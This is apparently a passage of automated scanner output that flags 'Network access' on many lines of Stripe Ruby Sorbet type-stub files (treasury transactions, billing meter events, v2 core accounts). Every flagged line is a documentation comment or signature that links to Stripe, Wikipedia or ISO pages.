  • Network accessline 27
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 91
    sig { returns(T.nilable(FinancialAccount)) }         def financial_account; end         # Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID.
  • Network accessline 92
    def financial_account; end         # Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID.         sig { returns(T.nilable(String)) }
  • Network accessline 93
    # Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID.
  • Network accessline 118
    sig { returns(T.nilable(String)) }         def inbound_transfer; end         # Set if the ReceivedDebit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object.
  • Network accessline 119
    def inbound_transfer; end         # Set if the ReceivedDebit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object.         sig { returns(T.nilable(String)) }
  • Network accessline 120
    # Set if the ReceivedDebit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object.
  • Network accessline 121
    sig { returns(T.nilable(String)) }         def issuing_authorization; end         # Set if the ReceivedDebit is also viewable as an [Issuing Dispute](https://api.stripe.com#issuing_disputes) object.
  • Network accessline 122
    def issuing_authorization; end         # Set if the ReceivedDebit is also viewable as an [Issuing Dispute](https://api.stripe.com#issuing_disputes) object.         sig { returns(T.nilable(String)) }
  • Network accessline 123
    # Set if the ReceivedDebit is also viewable as an [Issuing Dispute](https://api.stripe.com#issuing_disputes) object.
  • Network accessline 124
    sig { returns(T.nilable(String)) }         def issuing_transaction; end         # Set if the ReceivedDebit was created due to a [Payout](https://api.stripe.com#payouts) object.
  • Network accessline 125
    def issuing_transaction; end         # Set if the ReceivedDebit was created due to a [Payout](https://api.stripe.com#payouts) object.         sig { returns(T.nilable(String)) }
  • Network accessline 126
    # Set if the ReceivedDebit was created due to a [Payout](https://api.stripe.com#payouts) object.
  • Network accessline 154
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 155
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 156
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 166
    sig { returns(T.nilable(String)) }       def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated u
  • Network accessline 167
    def financial_account; end       # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses
  • Network accessline 168
    # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/transaction.rbi

  • Network accessline 5
    module Stripe   module Treasury     # Transactions represent changes to a [FinancialAccount's](https://api.stripe.com#financial_accounts) balance.
  • Network accessline 6
    module Treasury     # Transactions represent changes to a [FinancialAccount's](https://api.stripe.com#financial_accounts) balance.     class Transaction < APIResource
  • Network accessline 7
    # Transactions represent changes to a [FinancialAccount's](https://api.stripe.com#financial_accounts) balance.
  • Network accessline 25
    end       class FlowDetails < ::Stripe::StripeObject         # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a
  • Network accessline 26
    class FlowDetails < ::Stripe::StripeObject         # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new objec
  • Network accessline 27
    # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal.
  • Network accessline 28
    sig { returns(T.nilable(::Stripe::Treasury::CreditReversal)) }         def credit_reversal; end         # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a 
  • Network accessline 29
    def credit_reversal; end         # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitRev
  • Network accessline 30
    # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal.
  • Network accessline 31
    sig { returns(T.nilable(::Stripe::Treasury::DebitReversal)) }         def debit_reversal; end         # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to you
  • Network accessline 32
    def debit_reversal; end         # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a 
  • Network accessline 33
    # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMethod that is owned by y
  • Network accessline 34
    #         # Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers)         sig { returns(T.nilable(::Stripe::Treasury::InboundT
  • Network accessline 35
    # Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers)
  • Network accessline 36
    sig { returns(T.nilable(::Stripe::Treasury::InboundTransfer)) }         def inbound_transfer; end         # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization`
  • Network accessline 37
    def inbound_transfer; end         # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization`         # object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/author
  • Network accessline 38
    # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization`
  • Network accessline 39
    # object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be approved for the
  • Network accessline 40
    # purchase to be completed successfully.         #         # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)
  • Network accessline 41
    #         # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)         sig { returns(T.nilable(::Stripe::Issuing::Authorization)) }
  • Network accessline 42
    # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)
  • Network accessline 43
    sig { returns(T.nilable(::Stripe::Issuing::Authorization)) }         def issuing_authorization; end         # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send fun
  • Network accessline 44
    def issuing_authorization; end         # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](htt
  • Network accessline 45
    # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts)
  • Network accessline 47
    # Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects.         #         # Related guide: [Moving money with Treasury using OutboundP
  • Network accessline 48
    #         # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments)         sig { returns(T.nilable(::Stripe::Treasury::Outbou
  • Network accessline 49
    # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments)
  • Network accessline 50
    sig { returns(T.nilable(::Stripe::Treasury::OutboundPayment)) }         def outbound_payment; end         # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer
  • Network accessline 51
    def outbound_payment; end         # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accoun
  • Network accessline 52
    # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t
  • Network accessline 54
    # Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects.         #         # Related guide: [Moving money with Treasury using Outboun
  • Network accessline 55
    #         # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers)         sig { returns(T.nilable(::Stripe::Treasury::Outb
  • Network accessline 56
    # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers)
  • Network accessline 57
    sig { returns(T.nilable(::Stripe::Treasury::OutboundTransfer)) }         def outbound_transfer; end         # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or w
  • Network accessline 58
    def outbound_transfer; end         # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. 
  • Network accessline 59
    # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount.
  • Network accessline 60
    sig { returns(T.nilable(::Stripe::Treasury::ReceivedCredit)) }         def received_credit; end         # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated fr
  • Network accessline 61
    def received_credit; end         # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount.         sig { returns(T.nilable(::Stripe::Trea
  • Network accessline 62
    # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount.
  • Network accessline 96
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 97
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 98
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/transaction_entry.rbi

  • Network accessline 5
    module Stripe   module Treasury     # TransactionEntries represent individual units of money movements within a single [Transaction](https://api.stripe.com#transactions).
  • Network accessline 6
    module Treasury     # TransactionEntries represent individual units of money movements within a single [Transaction](https://api.stripe.com#transactions).     class TransactionEntry < APIResource
  • Network accessline 7
    # TransactionEntries represent individual units of money movements within a single [Transaction](https://api.stripe.com#transactions).
  • Network accessline 25
    end       class FlowDetails < ::Stripe::StripeObject         # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a
  • Network accessline 26
    class FlowDetails < ::Stripe::StripeObject         # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new objec
  • Network accessline 27
    # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal.
  • Network accessline 28
    sig { returns(T.nilable(::Stripe::Treasury::CreditReversal)) }         def credit_reversal; end         # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a 
  • Network accessline 29
    def credit_reversal; end         # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitRev
  • Network accessline 30
    # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal.
  • Network accessline 31
    sig { returns(T.nilable(::Stripe::Treasury::DebitReversal)) }         def debit_reversal; end         # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to you
  • Network accessline 32
    def debit_reversal; end         # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a 
  • Network accessline 33
    # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMethod that is owned by y
  • Network accessline 34
    #         # Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers)         sig { returns(T.nilable(::Stripe::Treasury::InboundT
  • Network accessline 35
    # Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers)
  • Network accessline 36
    sig { returns(T.nilable(::Stripe::Treasury::InboundTransfer)) }         def inbound_transfer; end         # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization`
  • Network accessline 37
    def inbound_transfer; end         # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization`         # object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/author
  • Network accessline 38
    # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization`
  • Network accessline 39
    # object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be approved for the
  • Network accessline 40
    # purchase to be completed successfully.         #         # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)
  • Network accessline 41
    #         # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)         sig { returns(T.nilable(::Stripe::Issuing::Authorization)) }
  • Network accessline 42
    # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations)
  • Network accessline 43
    sig { returns(T.nilable(::Stripe::Issuing::Authorization)) }         def issuing_authorization; end         # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send fun
  • Network accessline 44
    def issuing_authorization; end         # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](htt
  • Network accessline 45
    # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts)
  • Network accessline 47
    # Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects.         #         # Related guide: [Moving money with Treasury using OutboundP
  • Network accessline 48
    #         # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments)         sig { returns(T.nilable(::Stripe::Treasury::Outbou
  • Network accessline 49
    # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments)
  • Network accessline 50
    sig { returns(T.nilable(::Stripe::Treasury::OutboundPayment)) }         def outbound_payment; end         # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer
  • Network accessline 51
    def outbound_payment; end         # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accoun
  • Network accessline 52
    # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t
  • Network accessline 54
    # Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects.         #         # Related guide: [Moving money with Treasury using Outboun
  • Network accessline 55
    #         # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers)         sig { returns(T.nilable(::Stripe::Treasury::Outb
  • Network accessline 56
    # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers)
  • Network accessline 57
    sig { returns(T.nilable(::Stripe::Treasury::OutboundTransfer)) }         def outbound_transfer; end         # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or w
  • Network accessline 58
    def outbound_transfer; end         # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. 
  • Network accessline 59
    # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount.
  • Network accessline 60
    sig { returns(T.nilable(::Stripe::Treasury::ReceivedCredit)) }         def received_credit; end         # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated fr
  • Network accessline 61
    def received_credit; end         # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount.         sig { returns(T.nilable(::Stripe::Trea
  • Network accessline 62
    # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount.
  • Network accessline 79
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 80
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(String) }
  • Network accessline 81
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/v2/billing/meter_event.rbi

  • Network accessline 23
    # `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and         # `value_settings.event_payload_key` (default is `value`). Read more about         # the [payload](https://docs.stripe.com/billing/subscriptions/usage-base
  • Network accessline 24
    # `value_settings.event_payload_key` (default is `value`). Read more about         # the [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides)..         sig { returns(T::Hash[String, Stri
  • Network accessline 25
    # the [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides)..

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/v2/core/account.rbi

  • Network accessline 153
    sig { returns(T.nilable(String)) }                 def city; end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 154
    def city; end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 155
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 237
    end             class Branding < ::Stripe::StripeObject               # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px.
  • Network accessline 238
    class Branding < ::Stripe::StripeObject               # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px.               sig { returns(T.nilabl
  • Network accessline 239
    # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px.
  • Network accessline 240
    sig { returns(T.nilable(String)) }               def icon; end               # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and with
  • Network accessline 241
    def icon; end               # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. M
  • Network accessline 242
    # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. Must be at least 128px x 128p
  • Network accessline 1812
    end               end               # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-jap
  • Network accessline 1813
    end               # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-de
  • Network accessline 1814
    # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 1815
    sig { returns(T.nilable(Kana)) }               def kana; end               # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-start
  • Network accessline 1816
    def kana; end               # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-s
  • Network accessline 1817
    # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors).
  • Network accessline 1855
    sig { returns(T.nilable(String)) }                 def city; end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1856
    def city; end                 # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).                 sig { returns(T.nilable(String)) }
  • Network accessline 1857
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2095
    end           end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2096
    end           # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).           sig { returns(T.nilable(String)) }
  • Network accessline 2097
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2321
    end             class PersonsProvided < ::Stripe::StripeObject               # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.strip
  • Network accessline 2322
    class PersonsProvided < ::Stripe::StripeObject               # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/cor
  • Network accessline 2323
    # Whether the company’s directors have been provided. Set this Boolean to true after creating all the company’s directors with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 2324
    sig { returns(T.nilable(T::Boolean)) }               def directors; end               # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https:/
  • Network accessline 2325
    def directors; end               # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson). 
  • Network accessline 2326
    # Whether the company’s executives have been provided. Set this Boolean to true after creating all the company’s executives with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 2327
    sig { returns(T.nilable(T::Boolean)) }               def executives; end               # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.s
  • Network accessline 2328
    def executives; end               # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).        
  • Network accessline 2329
    # Whether the company’s owners have been provided. Set this Boolean to true after creating all the company’s owners with the [Persons API](https://docs.stripe.com/api/v2/core/accounts/createperson).
  • Network accessline 2375
    end               end               # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance).
  • Network accessline 2376
    end               # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance).               sig { returns(T.nilable(Account)) }
  • Network accessline 2377
    # Details on the Account's acceptance of the [Stripe Services Agreement](https://docs.stripe.com/connect/updating-accounts#tos-acceptance).
  • Network accessline 2418
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2419
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 2420
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 2445
    class AnnualRevenue < ::Stripe::StripeObject               class Amount < ::Stripe::StripeObject                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#min
  • Network accessline 2446
    class Amount < ::Stripe::StripeObject                 # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).                 sig { returns(T.nilable(Integer)
  • Network accessline 2447
    # A non-negative integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#minor-units).
  • Network accessline 2448
    sig { returns(T.nilable(Integer)) }                 def value; end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/cu
  • Network accessline 2449
    def value; end                 # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).                 sig { returns(T.nilable(S
  • Network accessline 2450
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2473
    class Documents < ::Stripe::StripeObject               class BankAccountOwnershipVerification < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_
  • Network accessline 2474
    class BankAccountOwnershipVerification < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.   
  • Network accessline 2475
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2487
    end               class CompanyLicense < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2488
    class CompanyLicense < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.                 sig 
  • Network accessline 2489
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2501
    end               class CompanyMemorandumOfAssociation < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_
  • Network accessline 2502
    class CompanyMemorandumOfAssociation < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.     
  • Network accessline 2503
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2515
    end               class CompanyMinisterialDecree < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requir
  • Network accessline 2516
    class CompanyMinisterialDecree < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.           
  • Network accessline 2517
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2529
    end               class CompanyRegistrationVerification < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account
  • Network accessline 2530
    class CompanyRegistrationVerification < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.    
  • Network accessline 2531
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2543
    end               class CompanyTaxIdVerification < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requir
  • Network accessline 2544
    class CompanyTaxIdVerification < ::Stripe::StripeObject                 # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.           
  • Network accessline 2545
    # One or more document IDs returned by a [file upload](https://docs.stripe.com/api/persons/update#create_file) with a purpose value of `account_requirement`.
  • Network accessline 2558
